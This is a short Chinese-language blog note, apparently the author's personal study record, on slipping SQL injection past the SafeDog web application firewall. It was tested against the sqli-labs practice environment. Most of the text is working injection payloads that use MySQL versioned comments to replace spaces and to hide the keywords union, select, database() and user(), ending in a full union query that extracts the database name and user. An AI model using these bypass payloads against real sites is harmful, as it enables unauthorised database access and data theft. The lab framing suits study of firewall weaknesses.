簡單繞過bapass安全狗
版本
版本號為3.5.12048,規則也更新到最新
環境
我們用sqli-lab來進行測試,主要是方便,剛好有環境,改一下代碼就可以用了
我們可以看到初始語句如下:
SELECT * FROM users WHERE id='1' LIMIT 0,1
空白符繞過
測試單引號'
和雙引號"
是不攔截的
經過測試,諸如?id=1' AND 1=1 --+
的語句均會被攔截,
但是可以用如下語句進行繞過
?id=1' AND 1=1 --+
?id=1'/*!*/AND/*!*/1=1/*!*/--+
也就是用/*!*/
替換了空格,在mysql中,可以利用/*!*/
包含關鍵詞進行繞過(這個方法已經可以被攔截了),在mysql中這個不是注釋,而是取消注釋的內容。
關鍵字繞過
?id=-1'/*!*/union/*!*/select/*!*/1,2,3/*!*/--+
會被攔截
可以用下面語句進行繞過:
?id=-1'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,2,3/*!*/--+
在前后加任意的取消注釋可以繞過
database() user()函數同理
databse()
替換成:/*!database*//*!()*/
user()
替換成:/*!user*//*!()*/
可以靈活運用
最后語句如下:
?id=-1'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,/*!database*//*!()*/,/*!user*//*!()*//*!*/--+
小弟不才,思路整理,也作為自身的筆記記錄,有更好的想法可多多指點。